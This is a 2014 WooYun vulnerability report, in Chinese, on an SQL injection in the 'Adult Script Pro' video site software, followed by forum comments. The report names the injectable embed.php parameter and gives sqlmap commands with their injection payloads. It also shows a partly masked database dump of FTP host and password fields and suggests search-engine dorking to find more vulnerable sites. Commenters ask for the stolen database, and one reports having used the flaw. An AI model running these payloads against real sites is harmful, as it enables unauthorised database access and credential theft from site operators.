当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065982

漏洞标题：某国外成人网站系统通用型SQL注入漏洞

相关厂商：Adult Script

漏洞作者： M0nster

提交时间：2014-06-23 22:35

修复时间：2014-06-28 22:18

公开时间：2014-06-28 22:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-23： 细节已通知厂商并且等待厂商处理中
2014-06-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

通过测试此版本均有SQL注入漏洞 但网站程序需要购买所以不清楚版本号 通过读取数据库server表可以得到ftp地址和用户密码

详细说明：

起因是因为国内某绅士网站观看学习视频需要积分，于是找到了视频播放页面就可以绕过积分限制了，后来测试了一下1=2会报错，sqlmap跑下库妥妥儿的。后来用手机登录网站发现标题和电脑登录的标题不同，显示的是Mobile Adult Script Pro 这个一看就是通用程序嘛，谷歌一下到官网发现官网提供的demo里面可以重现漏洞。

http://www.adultscriptpro.com/demo.html


google一下标题会发现不少使用此套程序的，有的需要改一下路径，基本全都可以搞定。

漏洞证明：

http://www.xxx.com/modules/video/player/nuevo/embed.php?id=2806 and 1=1


QQ截图20140623215155.png


http://www.xxx.com/modules/video/player/nuevo/embed.php?id=2806 and 1=2


QQ截图20140623215214.png


python sqlmap.py -u http://www.xxx.xxx/modules/video/player/nuevo/embed.php?id=2806 --dump -T server -D xxx -v 0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2806 AND 6581=6581
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=2806 AND (SELECT 7265 FROM(SELECT COUNT(*),CONCAT(0x716e6a6471,(SELECT (CASE WHEN (7265=7265) THEN 1 ELSE 0 END)),0x716b767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=2806 AND SLEEP(5)
---
web application technology: PHP 5.4.26
back-end DBMS: MySQL 5.0
Database: ***
Table: server
[1 entry]
+-----------+--------------+---------+--------+----------+----------+----------------+---------------------+----------------+--------------------------------+----------------------+--------------+--------------+--------------+-----------------+------------------+------------------+----------------------+
| server_id | total_videos | url     | status | ftp_port | ftp_root | ftp_host       | last_used           | server_name    | rtmp_stream                    | lighttpd_url         | ftp_username | lighttpd_key | ftp_password | lighttpd_prefix | streaming_server | streaming_method | lighttpd_secdownload |
+-----------+--------------+---------+--------+----------+----------+----------------+---------------------+----------------+--------------------------------+----------------------+--------------+--------------+--------------+-----------------+------------------+------------------+----------------------+
| 2         | 2974         | <blank> | 1      | 21       | /        | 16手.21动.5打.21码 | 2014-06-24 09:35:14 | 16手.21动.5打.21码 | rtmp://16手.21动.5打.21码:1935/vod | http://www.xxx.com | ***         | P4ss#w0rD    | zx*****121   | /stream/        | apache           | rtmp             | 0                    |
+-----------+--------------+---------+--------+----------+----------+----------------+---------------------+----------------+--------------------------------+----------------------+--------------+--------------+--------------+-----------------+------------------+------------------+----------------------+


修复方案：

版权声明：转载请注明来源 M0nster@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-28 22:18

厂商回复：

暂未能建立与软件生产厂商的联系渠道。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-23 22:41 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    当时我就震惊了，又可以黑好多黄网了？

  2. 2014-06-23 22:41 | YY-2012 ( 普通白帽子 | Rank:2763 漏洞数:641 | 意淫，是《红楼梦》原创的词汇，但后来演变...)

    你这么刁，苍井空知道吗？

  3. 2014-06-23 22:42 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    我擦，求种子

  4. 2014-06-23 22:43 | 我也不知道 ( 路人 | Rank:27 漏洞数:8 | 小新人QAQ)

    好贴啊

  5. 2014-06-23 22:44 | s3xy ( 核心白帽子 | Rank:832 漏洞数:113 | 相濡以沫，不如相忘于江湖)

    你这么刁，苍井空知道吗？

  6. 2014-06-23 22:58 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    小心 当你观看成人视频的时候 全部屏蔽你。恭喜你这辈子看不了成人视频 楼下接上。

  7. 2014-06-23 22:59 | 老胖子 ( 路人 | Rank:0 漏洞数:3 )

    哈哈哈你也是重口味啊, 同道中人啊,哈哈哈哈哈~~

  8. 2014-06-23 22:59 | 他是个撸丝 ( 路人 | Rank:17 漏洞数:3 | 我有一头小毛驴啊，我就是不敢骑)

    哈哈，屌

  9. 2014-06-23 23:00 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    鸡哥，你不厚道啊~~~还不速速给老衲把种子发过来？

  10. 2014-06-23 23:26 | abcdlzy ( 实习白帽子 | Rank:79 漏洞数:14 | 好好学习，天天向上。)

    还好某站是phpwind的

  11. 2014-06-23 23:44 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    咳咳 楼上的某站可以私密吗。。。如今天朝暴政 迅雷几百种子表示全部被删。。。。。。o(︶︿︶)o 唉 平民看个成人视频都不让 平民真的还有自由 尊重 和 爱好么。

  12. 2014-06-24 07:41 | 破锁 ( 路人 | Rank:23 漏洞数:6 )

    mark

  13. 2014-06-24 07:52 | Xser ( 普通白帽子 | Rank:194 漏洞数:61 | JDSec)

    真发了……

  14. 2014-06-24 08:11 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    哇哇

  15. 2014-06-24 09:12 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    U are monster~!

  16. 2014-06-24 09:30 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐，我猥琐故我强大)

    我操，这个也算通用型么？@xsser @疯狗 @肉肉 @finger

  17. 2014-06-24 09:46 | xxx ( 路人 | Rank:20 漏洞数:2 | 我的电脑,你的权限！)

    放出来吧孩子!国外的站长是不会来确认的!

  18. 2014-06-24 10:41 | 低调的瘦子 ( 普通白帽子 | Rank:466 漏洞数:68 | loading……………………)

    求忽略，求种子！

  19. 2014-06-24 21:45 | 博丽灵梦 ( 路人 | Rank:13 漏洞数:7 | = =cf)

    卧槽= =还真发了

  20. 2014-06-25 09:09 | 1fn0 ( 路人 | Rank:21 漏洞数:7 | 我是运维 不要开除我)

    洞主 脱裤了没 你懂的～

  21. 2014-06-25 09:16 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个可以公开了，来

  22. 2014-06-27 22:59 | cncert国家互联网应急中心(乌云厂商)

    看来关注的人不少，由于未建立与软件生产厂商的处置渠道，在考虑是否提前公开。看大家顶贴的积极性吧，回贴：公开，从本楼起顶到50楼，明天下午17时提前公开。

  23. 2014-06-28 00:08 | 破锁 ( 路人 | Rank:23 漏洞数:6 )

    @cncert国家互联网应急中心 牛逼，看来得果断@一下了

  24. 2014-06-28 00:10 | 破锁 ( 路人 | Rank:23 漏洞数:6 )

    @博丽灵梦 @1fn0 @wefgod

  25. 2014-06-28 12:21 | 博丽灵梦 ( 路人 | Rank:13 漏洞数:7 | = =cf)

    @cncert国家互联网应急中心 既然如此 我又来顶贴了

  26. 2014-06-28 14:04 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @cncert国家互联网应急中心 我来帮顶。哈哈哈

  27. 2014-06-28 14:04 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    cert在考虑为大家谋福利啊？

  28. 2014-06-28 14:41 | 芙兰朵露斯卡雷特 ( 路人 | Rank:4 漏洞数:4 | 看我闪现逃走闪现逃走六不六)

    既然如此我就来顶贴了

  29. 2014-06-28 14:42 | 90sid ( 路人 | Rank:2 漏洞数:1 | (*^__^*))

    哇哇哇哇哇哇哇哇哇哇哇哇哇

  30. 2014-06-28 14:48 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    @泳少 基友快来 发福利了

  31. 2014-06-28 15:07 | Jeremy ( 普通白帽子 | Rank:106 漏洞数:11 | )

    我是纯粹追求技术的好孩纸。

  32. 2014-06-28 15:37 | A.P.W.G ( 路人 | Rank:8 漏洞数:2 | 因为有挖不完的洞，所以我才存在)

    看看。。。

  33. 2014-06-28 15:39 | 马化腾 ( 路人 | Rank:14 漏洞数:2 | 动词大呲咚呲哒呲)

    福利福利福利

  34. 2014-06-28 16:14 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    后排

  35. 2014-06-28 19:30 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    @cncert国家互联网应急中心 快公开吧

  36. 2014-06-28 23:14 | by阿明 ( 路人 | Rank:25 漏洞数:9 | 孤独与寂寞是我的必修课)

    万恶的马赛克！

  37. 2014-06-28 23:21 | maples ( 实习白帽子 | Rank:42 漏洞数:11 | 学习的小菜鸟)

    漏洞状态:已交由第三方厂商(cncert国家互联网应急中心)处理然后横扫墙内？？？ 墙内痛苦了

  38. 2014-06-28 23:21 | maples ( 实习白帽子 | Rank:42 漏洞数:11 | 学习的小菜鸟)

    脱裤 共享啊

  39. 2014-06-28 23:35 | 一碗菊花茶 ( 路人 | Rank:20 漏洞数:5 | ，，，。。。，，。。。。，，，。。)

    50啊50

  40. 2014-06-28 23:48 | 好基友一辈子 ( 普通白帽子 | Rank:138 漏洞数:37 )

    要积分能绕过是不是51porn?

  41. 2014-06-29 00:31 | 破锁 ( 路人 | Rank:23 漏洞数:6 )

    一公开，成人网果然是被攻击了，乱码咯。。

  42. 2014-06-29 01:43 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:50 | 成为海贼王的男人)

    为什么要打马赛克

  43. 2014-06-30 15:22 | 小指头 ( 实习白帽子 | Rank:97 漏洞数:19 | 不想当大拇指的小指头，不是个好手。)

    这马赛克打的模糊啊，能清晰点不。。。

  44. 2014-06-30 16:24 | maples ( 实习白帽子 | Rank:42 漏洞数:11 | 学习的小菜鸟)

    再顶 LZ裤子地址能私密么 咳咳

  45. 2014-07-07 01:27 | 丶潇洒哥 ( 路人 | Rank:5 漏洞数:2 | 我是一枚农民工。)

    神人，能边看片，边撸站。

  46. 2014-07-25 16:30 | losthacker ( 路人 | Rank:12 漏洞数:1 | 我是好人 (PS:为什么...)

    这马赛克打的模糊啊，能清晰点不。。。

  47. 2014-07-25 20:00 | 1fn0 ( 路人 | Rank:21 漏洞数:7 | 我是运维 不要开除我)

    已撸 感谢洞主